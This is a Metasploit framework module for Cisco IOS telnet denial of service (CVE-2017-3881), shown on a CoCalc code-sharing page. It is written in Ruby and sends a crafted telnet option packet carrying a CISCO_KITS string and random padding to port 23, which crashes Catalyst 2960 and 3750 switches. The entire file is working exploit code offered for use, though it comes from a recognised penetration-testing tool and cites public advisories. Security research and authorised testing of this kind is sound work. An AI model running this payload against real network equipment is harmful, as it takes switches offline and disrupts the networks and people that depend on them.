CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Cisco IOS Telnet Denial of Service',
13
'Description' => %q{
14
This module triggers a Denial of Service condition in the Cisco IOS
15
telnet service affecting multiple Cisco switches. Tested against Cisco
16
Catalyst 2960 and 3750.
17
},
18
'Author' => [ 'Artem Kondratenko' ],
19
'License' => MSF_LICENSE,
20
'References' =>
21
[
22
['BID', '96960'],
23
['CVE', '2017-3881'],
24
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp'],
25
['URL', 'https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution']
26
],
27
'DisclosureDate' => '2017-03-17'))
28
29
register_options([ Opt::RPORT(23) ])
30
end
31
32
def run
33
begin
34
connect
35
print_status "Connected to telnet service"
36
packet = sock.read(200)
37
if packet.nil?
38
print_error "Failed to get initial packet from telnet service."
39
else
40
print_status "Got initial packet from telnet service: " + packet.inspect
41
end
42
print_status "Sending Telnet DoS packet"
43
sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0")
44
disconnect
45
rescue ::Rex::ConnectionRefused
46
print_status "Unable to connect to #{rhost}:#{rport}."
47
rescue ::Errno::ECONNRESET
48
print_good "DoS packet successful. #{rhost} not responding."
49
end
50
end
51
end
52
53